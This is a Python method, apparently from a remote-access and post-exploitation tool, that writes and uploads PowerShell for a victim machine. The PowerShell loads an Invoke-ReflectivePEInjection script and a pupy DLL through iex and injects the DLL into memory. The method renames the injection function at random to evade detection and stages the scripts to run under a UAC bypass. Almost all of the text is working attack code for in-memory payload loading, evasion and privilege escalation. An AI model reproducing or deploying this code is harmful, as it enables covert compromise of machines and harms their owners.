'Upload main powershell script and invokeReflectivePEInjection script'

def uploadPowershellScripts(self):

    mainPowerShellScriptPrivileged = '\n                                cat    {invoke_reflective_pe_injection}    |    Out-String        |    iex\n                                cat    {pupy_dll}    |    Out-String        |    iex\n                                {InvokeReflectivePEInjection}    -PEBytes    $PEBytes    -ForceASLR\n                                '.format(invoke_reflective_pe_injection=self.invokeReflectivePEInjectionRemotePath, pupy_dll=self.pupyDLLRemotePath, InvokeReflectivePEInjection=self.reflectivePE_random_name)
    logging.info(('Creating    the    Powershell    script    in    %s    locally' % self.mainPowerShellScriptPrivilegedLocalPath))
    with open(self.mainPowerShellScriptPrivilegedLocalPath, 'w+') as w:
        w.write(mainPowerShellScriptPrivileged)
    logging.info('Uploading    powershell    code    for    DLL    injection    in    {0}'.format(self.invokeReflectivePEInjectionRemotePath))
    content = re.sub('Invoke-ReflectivePEInjection', self.reflectivePE_random_name, open(self.invokeReflectivePEInjectionLocalPath).read(), flags=re.I)
    tmp_file = os.path.join(gettempdir(), 'reflective_pe.txt')
    with open(tmp_file, 'w+') as w:
        w.write(content)
    upload(self.module.client.conn, tmp_file, self.invokeReflectivePEInjectionRemotePath)
    logging.info('Uploading    main    powershell    script    executed    by    BypassUAC    in    {0}'.format(self.mainPowershellScriptRemotePath))
    upload(self.module.client.conn, self.mainPowerShellScriptPrivilegedLocalPath, self.mainPowershellScriptRemotePath)
